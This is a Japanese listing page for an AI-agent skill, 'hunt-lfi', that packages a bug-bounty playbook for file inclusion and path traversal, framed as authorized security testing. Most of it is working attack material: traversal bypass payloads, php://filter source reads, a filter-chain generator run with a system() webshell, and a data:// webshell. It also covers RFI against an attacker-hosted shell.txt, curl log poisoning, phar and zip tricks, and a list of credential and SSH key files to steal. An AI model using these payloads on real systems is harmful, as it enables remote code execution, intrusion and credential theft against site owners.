hunt-lfi について
ローカル/リモートファイルインクルージョンとパストラバーサルを調べるセキュリティテスト用スキルです。PHP ラッパーやアーカイブ処理の入口も扱い、ファイル内容、帯域外コールバック、安定した応答差による確認を求めます。
主な機能
- 01パストラバーサルとファイル読み取りのテスト
- 02PHP ラッパーによるソース開示の検査
- 03PHP filter-chain によるコード実行テスト
- 04リモートファイルインクルージョンの前提確認
- 05ログ、セッション、アップロードのポイズニング検査
- 06ブラインドテストと誤検知の検証手順
活用シーン
- 01パラメーターからサーバーファイルを読めるか調査
- 02PHP ソースをエンコード形式で取得できるか検査
- 03帯域外コールバックでブラインドインクルージョンを確認
- 04アーカイブ展開によるディレクトリ外書き込みをテスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-lfiインストール後、Claude Code で/hunt-lfiを入力して読み込まれたか確認します。
詳細
HUNT-LFI — ローカル/リモートファイルインクルージョンとパストラバーサル
最重要ターゲット
コード実行に至る LFI はクリティカルです。ファイル読み取りのみの場合、秘密情報(.env、wp-config.php、秘密鍵、クラウド認証情報)が漏えいするなら高、機密性のないファイルしか読み取れないなら中です。
価値が最も高い攻撃チェーン(2026 年時点でのおおよその信頼性順):
- PHP フィルターチェーン → RCE — 現代における標準的な手法です。
php://filterによる単純な ファイル読み取り のプリミティブは、iconv変換を連鎖させて任意の PHP ペイロードをメモリ上で生成することで、アップロードエンドポイントも書き込み可能なファイルもなしに RCE へと発展させられます(Synacktiv、2022 年)。詳しくは以下の専用セクションを参照してください。これは最も影響が大きく、見落とされやすい手法です。 - ログポイズニング → RCE — Apache/Nginx のログに PHP を注入し(User-Agent/URL パス)、その後ログをインクルードします。
open_basedirやログの読み取り権限がないことでブロックされるケースが増えているため、まずログが読み取り可能か確認してください。 - PHP ラッパー → ソースコードの開示 —
php://filter/convert.base64-encode/resource=index.phpでソースコードが漏えいします。ソースを読んで、ほかの LFI のシンク、秘密情報、インクルードのベースパスを見つけてください。 - RFI → RCE —
allow_url_include=Onの場合、?file=http://OOB/shell.txtによってリモートコードが取得され、実行されます。現代の設定ではまれですが、有効であれば容易にクリティカルな脆弱性となります。 - phar:// のデシリアライズ — 細工した PHAR と、メタデータに対する任意の unserialize シンクを組み合わせると、オブジェクトインジェクションによる RCE が可能です。
- フィルターによってラッパーがブロックされる場合の zip:///data:// チェーンやセッション/アップロードポイズニング。
OOB/ブラインド LFI の確認ゲート(最初に読む)
LFI はしばしばブラインドです。インクルードされたコンテンツが解析/実行されても応答に表示されない場合や、ページがファイルを見えないテンプレートに取り込む場合があります。間接的なシグナルだけで LFI と断定しないでください。
確認にならないもの
../../etc/passwdと通常の値でステータスコードやエラー文字列が異なること。アプリが../を文字列照合して、ファイルシステムに一度もアクセスせず、定型の 403/500 を返している可能性があります。- エラーメッセージ内に入力がそのまま返されること(例:
failed to open '/var/www/../../etc/passwd')。これはパスのフォーマッターを示すだけで、ファイルが読み取られた証拠ではありません。実際に読み取られた場合は、入力したパスではなくファイルの内容が表示されます。 - ページが「異なって見える」こと。入力の反射や WAF のブロックページによる差分は、実際の読み取りとは無関係です。
確認になるもの
- 直接読み取り: ファイルの実際の内容が表示される(実在する
root:x:0:0:行、またはフィルター出力を Base64 デコードした後の実際の PHP ソースコード)。 - OOB 持ち出しによるブラインド読み取り: ペイロードが Burp Collaborator のサブドメインに DNS/HTTP コールバックを実行する
php://filterまたは XXE 形式のチェーンを使用するか、外部リクエストをトリガーするexpect:///ラッパーを使用します。シンクごとに固有の Collaborator ヒット(DNS + HTTP とサーバーの送信元 IP)があれば、インクルードが実行された証拠になります。 - 差分/タイミングによるブラインド読み取り: 存在することが確実で大きなファイル(
/etc/passwd)と、存在しないファイル(/etc/passwd_nope_<rand>)をインクルードします。応答の長さまたは遅延に、安定して再現される差があれば、実際にファイルシステムへアクセスしています。偶然の一致を排除するため、3 つ目の存在が確認できているパスでも検証してください。
デフォルトのワークフロー
- 固有のマーカーとなるターゲットを選びます。内容を正確に指紋照合できるファイル(
/etc/passwd→^root:を検索)を優先してください。ブラインドの場合はphp://filterによる Base64 読み取りを使用してデコードします。部分的または切り詰められた Base64 でも、判別可能なソースコードとしてデコードされます。 - シンクごとにサブタグ付きの Collaborator ペイロード(
lfi-page.<collab>、lfi-tpl.<collab>)を生成し、どのパラメーターが反応したかをコールバックで識別できるようにします。 - 送信して 30~120 秒待ち、OOB を確認します。
- 内容の一致、Collaborator コールバック、または安定して 3 回確認されたタイミング/長さの差が得られた後に限り、LFI と判定します。パスがそのまま返されるケースや、ステータスコードが単独で変化しただけのケースは判定を撤回してください。
攻撃対象領域のシグナル
URL/本文パラメーター
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
技術スタックの兆候
| 兆候 | 攻撃ベクトル |
|---|---|
PHP(X-Powered-By、.php、PHPSESSID) | php:// filter-chain RCE、phar://、zip://、data:// |
| Apache/Nginx のログを読み取り可能 | ログポイズニング → RCE(まず読み取り可能か確認) |
Apache 2.4.49 / 2.4.50(Server: バナー) | CVE-2021-41773 / CVE-2021-42013 のトラバーサル → RCE |
Windows 上の PHP-CGI(XAMPP、php-cgi.exe) | CVE-2024-4577 の引数インジェクション → RCE |
Java サーブレット(/WEB-INF/) | WEB-INF/web.xml、classes/、application.properties |
| Python Flask/Django | /proc/self/environ、settings.py、SECRET_KEY |
Node.js のファイル配信 / res.sendFile、express.static | パストラバーサルによる読み取り、require() のトラバーサル |
| Windows IIS / .NET | ..\..\web.config、C:\Windows\win.ini、machineKey |
ステップごとの手法
フェーズ 1 — 候補の特定
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
フェーズ 2 — パストラバーサル(読み取り)
?file=../../../etc/passwd
?file=....//....//....//etc/passwd # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too
?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers)
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config
フェーズ 3 — PHP ラッパー(ソースコードの開示)
?file=php://filter/convert.base64-encode/resource=index.php # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.
フェーズ 4 — PHP Filter-Chain → RCE(アップロード不要、書き込み可能なファイル不要)
現代の代表的な手法です(Synacktiv、2022 年)。ファイルを読み取るphp:// 対応の LFI があれば、攻撃者が選んだ PHP を実行することもできます。php://filter 内で連結された iconv の文字セット変換により、制御したバイト列をリソースの先頭に追加していくことで、完全な <?php ... ?> ペイロードを生成し、include() で実行します。アップロードエンドポイント、ログへのアクセス、書き込み可能なパスは不要です。
# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
# git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id
注意点:
- include を呼び出すシンクが
php://filterスキームを受け入れる必要があります(パラメーターに対してinclude/require/file_get_contentsを呼び出す LFI シンクの多くが対応します)。 - ペイロードは非常に長くなります(10~50KB)。パラメーターの長さに上限がある場合や、サイズを理由に WAF にブロックされる場合は、POST ボディに移すか、最小限のペイロード(
<?=shorthand?>)を使います。 - ブラインドターゲットの場合、実行を OOB で確認するため、チェーンペイロードを Collaborator コールバック(
<?php file_get_contents("http://x.<collab>/".id);?>)に設定します。 - ログポイズニングが失敗しても(ログを読み取れない、
open_basedir)、この方法は機能します。php:// フィルターによる読み取りが可能なら、必ず試してください。
フェーズ 5 — コード実行ラッパー(設定の前提条件)
# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id # <?php system($_GET['c']);?>
# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
# POST ?file=php://input body: <?php system($_GET['c']); ?>
# (Same prerequisite as data://. Do NOT assume this works on default PHP config.)
# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id
フェーズ 6 — リモートファイルインクルージョン(RFI)
RFI とは、include の対象がリモート URLであることです。前提条件は allow_url_include=On(および allow_url_fopen=On)です。最新の PHP ではデフォルトでオフですが、レガシー環境や設定ミスのあるホストでは今も見られます。
# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell
フェーズ 7 — ログポイズニング → RCE
# Step 1: inject PHP into a log the include can read
curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
# /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ
フェーズ 8 — セッション/アップロードのポイズニング
# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt
フェーズ 8b — アーカイブ展開および画像処理のシンク(?file= 不要)
クエリパラメーターによるファイル読み取りではない、LFI/トラバーサルの攻撃面が 2 つあります。
- Zip Slip/tar シンボリックリンクによる回避 — ユーザー提供のアーカイブを tar/unzip で展開するサーバーが、
../../を含むエントリー名や埋め込みシンボリックリンク(tar はシンボリックリンクを保持します)をたどると、展開ディレクトリの外部にあるファイルの読み取り/書き込みが可能になります。../../../etc/cron.d/xという名前のアーカイブエントリー、または/etc/passwdを指すシンボリックリンクを作成します。アップロードディレクトリの外部に固有のカナリアを書き込んで確認します。報告例:reports/1439593、reports/733072、reports/822262。 - ImageMagick coder の読み取りシンク — 画像変換/サムネイル/アバター機能は、ファイルパラメーターがなくても MSL/MVG coder 経由でローカルファイルを読み取ります。ファイル名/ラベルに
label:@/etc/passwdを指定するか、MSL ペイロード(<image xlink:href="msl:/etc/passwd">)とmsl:/ephemeral:疑似プロトコルを使います(ImageTragick CVE-2016-3714 系)。報告例:reports/1858574。hunt-file-uploadと併用します。
フェーズ 9 — 自動化(その後、すべて手動で確認)
ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
"https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.
名前付き CVE/公開テクニック(根拠)
上記のパターンについて、検証済みで適切に帰属された参考情報:
- PHP フィルターチェーンから RCE — Synacktiv の調査(2022年);
php_filter_chain_generator。CVE ではありません。文書化されたiconvの動作を悪用するものです。単なるファイル読み取りが Critical に引き上げられる理由です。 - CVE-2021-41773 — Apache HTTP Server 2.4.49 のパストラバーサル(正規化されたパス内の
%2e)→ ファイル読み取り、およびmod_cgiが有効な場合は RCE。 - CVE-2021-42013 — 上記に対する Apache HTTP Server 2.4.50 の不完全な修正(二重エンコードされた
%%32%65)→ トラバーサル/RCE。 - CVE-2024-4577 — Windows 上の PHP-CGI 引数インジェクション(Best-Fit エンコーディング)。XAMPP 形式のスタックで到達可能で、ファイル提供から RCE へ連鎖します。
根拠に関する注意:このスキルは、公開済みの LFI/パストラバーサルの報告31件を基に構築されています。レポートで特定の HackerOne 報告を引用する場合は、使用した正確なレポート URL/ID にリンクしてください。レポート ID を記憶に頼って言い換えてはいけません。誤った ID は、何も記載しないよりも悪い結果になります。
読み取るべき機密ファイル
# Linux
/etc/passwd /etc/hosts /etc/shadow (rarely readable)
/proc/self/environ /proc/self/cmdline /proc/self/status
/var/www/html/.env /var/www/html/config.php /var/www/html/wp-config.php
/home/*/.ssh/id_rsa /root/.ssh/id_rsa /root/.bash_history
/var/www/html/app/config/parameters.yml # Symfony
.git/config .git/HEAD composer.json package.json
# App / cloud secrets
/proc/self/environ ~/.aws/credentials ~/.docker/config.json /run/secrets/*
# Windows / .NET
C:\Windows\win.ini C:\inetpub\wwwroot\web.config ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
バイパステーブル
| フィルター | バイパス |
|---|---|
../ を一度だけ削除する | ....// または ..../\(削除後に ../ が再構成される) |
| URL デコードを一度だけ行う | %252f(/ を二重エンコード)、ドットには %252e |
一度だけデコードし、.. をブロックする | ドットをエンコードする:%2e%2e%2f /オーバーロング形式の %c0%ae(レガシー) |
入力に .php を追加する | ? または # による切り詰め;ヌルバイト %00(PHP < 5.3.4) |
php:// スキームをブロックする | PHP://、pHp://、または data:// / expect:// を試す |
| 固定のベースディレクトリを先頭に付加する | 抜け出すのに十分な数の ../ を指定する。または、ベースが先頭に付加されない場合は絶対パスを使う |
/etc/passwd という文字列をブロックする | パスの切り詰め、/etc/./passwd、/etc//passwd |
| 長いフィルターチェーンに対する WAF | チェーンを POST 本文に移す/ペイロードを最小化する |
| Windows | ..\..\..\windows\win.ini、..%5c..%5c |
チェーンテーブル
| LFI プリミティブ | 連鎖先 | 影響 |
|---|---|---|
php://filter による読み取り | フィルターチェーン RCE(フェーズ4) | アップロードなしで RCE — Critical |
| ファイル読み取り | .env / config.php / wp-config.php | DB 認証情報、API キー → バックエンドの乗っ取り |
| ファイル読み取り | /proc/self/environ、~/.aws/credentials | 環境変数のシークレット、クラウドキー → SSRF/IAM への足掛かり |
| リモート URL インクルード | RFI(allow_url_include) | 直接 RCE — Critical |
| ファイル読み取り+アップロード | phar:// /ログ/セッションポイズニング | RCE — Critical |
| ソースコードの開示 | アプリケーション全体のソースコード | ハードコードされたシークレット、新たなシンク、machineKey |
検証の徹底
直接読み取りの証明(誤検知ではないこと):
- エコーされたパスではなく、実際の内容を示してください。
/etc/passwdには、root:x:0:0:root:/root:という文字列を含む行が実際に存在する必要があります。応答を既知の正常なパラメーター値と比較し、差分が WAF/エラーページではなくファイルの本文であることを確認してください。 - ソースを読み取る場合、base64 をデコードすると有効な PHP になる必要があります。デコード結果がでたらめ、または空であれば、実際に読み取れていません。
- リフレクションでないことを確認してください。マーカー文字列が単に入力として送り返されているだけではないことを確かめます。
/etc/passwdと/etc/passwd_<rand>(存在しないファイル)をリクエストし、実在するファイルだけが内容を返すことを確認してください。
ブラインド/OOB の証明:
- リフレクションがない場合は、固有の Burp Collaborator サブドメインにコールバックする php://filter-chain または RFI ペイロードを使用してください。インクルードが実行されたと主張するには、サーバーのソース IP からの DNS および HTTP のヒットが必要です。シンクごとにサブタグを付けてください。
- タイミング/長さによるブラインド検証では、安定した差分を 3 回確認してください(サイズが既知の大きなファイル、存在しないファイル、2 つ目の既知のファイルを比較)。1 回だけの差分はノイズです。主張を撤回してください。
部分読み取り/切り詰められた読み取り:
- テンプレート処理によって HTML エスケープされたり、ファイルが切り詰められたりする場合があります。
php://filter/convert.base64-encodeを使い、読み取りが途中で切れても判別可能なバイト列としてデコードできるようにしてください。あると推測した内容ではなく、実際に復元できた内容を正確に報告してください。
RCE の証明: id/whoami/hostname の結果が反映されるなど、自分で制御できるコマンド出力を示してください。または、実行されたペイロードの内部からの OOB コールバック(curl http://<collab>/)を示してください。「ペイロードが受け付けられた」だけでは RCE の証明になりません。
深刻度:
- 機密情報を含まないファイル読み取り:Medium
- DB 認証情報/API キー/秘密鍵/クラウド認証情報が漏えいするファイル読み取り:High
- filter-chain/RFI/ログ/セッション/phar/CVE を介した RCE:Critical